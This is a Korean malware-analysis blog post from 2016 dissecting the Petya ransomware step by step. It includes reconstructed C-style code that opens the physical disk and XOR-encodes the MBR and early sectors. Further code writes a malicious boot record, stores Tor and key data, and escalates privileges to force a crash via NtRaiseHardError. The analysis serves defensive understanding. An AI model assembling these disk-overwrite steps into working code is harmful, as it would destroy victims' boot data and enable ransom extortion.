2016년 3월 29일 화요일

[PETYA 랜섬웨어/PETYA Ransomware] 악성코드 분석 / Malicious Analysis



* 개요

PETYA 랜섬웨어는 전형적인 MBR Locker 형식의 랜섬웨어.

감염 되면 정상 MBR을 악성 MBR로 교체하여 부팅이 안되게 한다.

2016.03.29 현재 많이 감염 된다고 한다.

* 분석

0. 들어가기 전,
해당 악성코드 분석 시 "WinMain" 함수를 기반으로 분석하면 아마 멘탈이 가루가 될 것으로 예상 된다. 왜냐면 WinMain은 함정이다. "WinMain" 부르기 전에 난독화 된 데이터를 메모리 위에 풀어서 동작한다.

1. LoadLibrary를 통해 kernel32를 불러온 후 VirtualAlloc 함수의 주소를 가져온다.

2. 가져온 VirtualAlloc으로 메모리 할당 시도


VirtualAlloc(NULL, 0x12000, MEM_COMMIT | MEMRESERVE, PAGE_EXECUTE_READWRITE);

3. 앞서서 특정 연산을 데이터 통해 복호화하는 과정을 거친다. 복호화 한 데이터를 VirtualAlloc으로 할당 받은 주소에다가 복사한다.


얼추 이런 데이터를 복사한다. 알고보면 DLL 이다.

메모리에다가 풀어서 바로 "DllMain"으로 이동하여 사용하는데, 대신 문제가 있다. DLL 과 같이 Mapping 될때마다 Entrypoint 주소가 달라지는 PE파일은 Mapping 될때마다 IAT로 API 주소를 다시 잡아주는 경우가 있다. 그걸 해야 바로 사용가능하다.

4. IAT 작업을 하여 API주소를 맞춰준다.


5. "DllMain" 으로 이동


6. DLL이 가지고 있는 Section 중 ".xxxx" 라는 Section을 찾아서 데이터를 XOR하여 디코딩을 한다.


7. "GetSystemDirectory" API를 이용하여 "System32" 폴더 위치를 찾아서, 드라이브 위치만 따로 분해를 하여 "CreateFile" API를 통해 열게 된다. (보통 "\\.\C:")


CreateFile(
 "\\\\.\\C:",
 NULL,
 FILE_SHARE_READ | FILE_SHARE_WRITE,
 NULL,
 NULL,
 OPEN_EXISTING,
 0,
 NULL
);

8. "DeviceIoControl" API를 이용하여 "IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS" 전송하여 디스크에 대한 정보를 얻어와서 PhysicalDrive 번호를 설정한다. 보통 0번에 존재한다.
* 여기서 디스크 정보를 얻어오는 이유는 정확히 MBR의 위치를 파악하기 위해서다.
* 보통 Rootkit 들이 자주 사용하는 기법 중 하나이다.


DeviceIoControl(
 File_Handle,
 IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS,
 NULL,
 0,
 Buffer,
 0x20,
 &dwOut,
 NULL
);

9. "CreateFile" API를 이용하여 "\\.\PhysicalDrive0" 열게 되는데, "PhysicalDrive0"은 바로 MBR이 존재 있는 영역이다.


CreateFile(
 "\\\\.\\PhysicalDrive0",
 GENERIC_READ | 0x100000,
 FILE_SHARE_READ | FILE_SHARE_WRITE,
 NULL,
 OPEN_EXISTING,
 0,
 NULL
);

10. "DeviceIoControl" API를 이용하여 파티션에 대한 정보를 얻어온다.


DeviceIoControl(
 MBR_Handle,
 IOCTL_DISK_GET_PARTITION_INFO_EX == 0x70048,
 NULL,
 0,
 Buffer,
 0x90,
 &dwOut,
 NULL
);

11. 다시 "CreateFile" API를 이용하여 "\\.\PhysicalDrive0"을 연다.


CreateFile(
 "\\\\.\\PhysicalDrive0",
 GENERIC_READ,
 FILE_SHARE_READ,
 NULL,
 OPEN_EXISTING,
 0,
 NULL
);

11. "SetFilePointerEx" API를 이용하여 파일 포인터 부분을 처음으로 이동한다.


SetFilePointerEx(MBR_Handle, NULL, NULL, FILE_BEGIN);

12. "ReadFile" API를 이용하여 0x200(512) 만큼 읽어오게 되는데, 0x200(512)는 정확히 MBR의 크기이다. 다음 그림을 보며 MBR의 구조를 파악하자.



ReadFile(MBR_Handle, Buffer, 0x200, &dwRead, NULL);

13.  0x200만큼 가져온 MBR 데이터를 0x37('7') XOR을 이용하여 인코딩하여 저장한다.


for (int i = 0; i < 0x200; i++)
 MBR_Buffer[i] ^= 0x37;

14. 그 이후 Sector 1~Sector 34까지 총 34번을 반복하여 데이터를 읽어와 XOR한 데이터로 Sector를 덮는다. 


for (int i = 1; i <= 34; i++)
{
 ReadMBR("\\\\.\\PhysicalDrive0", Buffer, i, NumberOfBytesWritten);
 
 for (int j = 0; j < 0x200; j++)
  Buffer[j] ^= 0x37;
  
 if (!WriteMBRData("\\\\.\\PhysicalDrive0", Buffer, i , NumberOfBytesWritten))
  return 0;
}

15. 위 과정이 끝나면, DLL 초반 .xxxx Section에서 XOR 디코딩 했던 데이터 중 0x200 만큼 복사한다. 해당 데이터가 후에 복사 될 악성 MBR로 이동하는 역할을 하게 된다.


WriteMBRData("\\\\.\\PhysicalDrive0", MaliciousMBR, 0, 0);

16. 위 과정이 끝난 후 다시 "CreateFile" API를 이용하여 "PhysicalDrive0"을 연다.


CreateFile(
 "\\\\.\\PhysicalDrive0",
 GENERIC_READ | GENERIC_WRITE,
 FILE_SHARE_READ | FILE_SHARE_WRITE,
 NULL,
 OPEN_EXISTING,
 NO_BUFFERING | RANDOM_ACCESS,
 NULL
);

17. 위에 Sector 34까지 XOR로 인코딩 된 데이터를 덮었는데, Sector 35(0x4400)에는 악성MBR를 0x2000 크기 만큼 설치한다. 이 악성 MBR은 DLL 초반에 .xxxx Section에서 XOR로 디코딩한 데이터이다.


SetFilePointer(MBR_Handle, 0x4400, NULL, FILE_BEGIN);


WriteFile(MBR_Handle, Buffer, 0x2000, &dwWritten, NULL);

18. 0x6C0 0부터 0x200 크기 만큼 다음 데이터를 쓰게 된다.
(1) 0x6C00 - Tor 주소 및 Key 값
(2) 0x6E00 - NULL XOR 값
(3) 0x7000 - 인코딩 된 정상 MBR


WriteMBRData("\\\\.\\PhysicalDrive0", Tor_n_KeyBuffer, 54, 0);
WriteMBRData("\\\\.\\PhysicalDrive0", NULL_XOR, 55, 0);
WriteMBRData("\\\\.\\PhysicalDrive0", MBREncodeData, 56, 0);


19. 데이터를 다 덮은 후 권한 상승하여 재부팅 시도. 일반적으로 많이 사용하는 "NtRaiseHardError BSOD" 기술을 이용했다.


typedef NTSTATUS (WINAPI *PNTRAISE)(NTSTATUS,
 ULONG,
 ULONG,
 PULONG,
 UINT,
 PULONG
);

HANDLE hProc;
HMODULE hMod;
PNTRAISE NtRaiseHardError;
struct _TOKEN_PRIVILEGES NewState;
DWORD dwRet;
HANDLE TokenHandle;

hProc = GetCurrentProcess();
if (!OpenProcessToken(hProc, 0x28, &TokenHandle))
 return 0;
 
LookupPrivilegeValueA(0, "SeShutdownPrivilege", (PLUID)NewState.Privileges);
NewState.PrivilegeCount = 1;
NewState.Privileges[0].Attributes = 2;

AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0, 0, 0);
if (GetLastError())
 return 0;
 
hMod = GetModuleHandleA("NTDLL.DLL");
NtRaiseHardError = GetProcAddress(hMod, "NtRaiseHardError");
NtRaiseHardError(0xC0000350, 0, 0, 0, 6, &dwRet);

* 결론

딱히 어려운 랜섬웨어도 아니고, 복구가 불가능한 랜섬웨어가 아니지만 꽤나 귀찮게 하는 랜섬웨어인 것은 확실하다.

댓글 없음

댓글 쓰기

© NoFaceLab
Maira Gall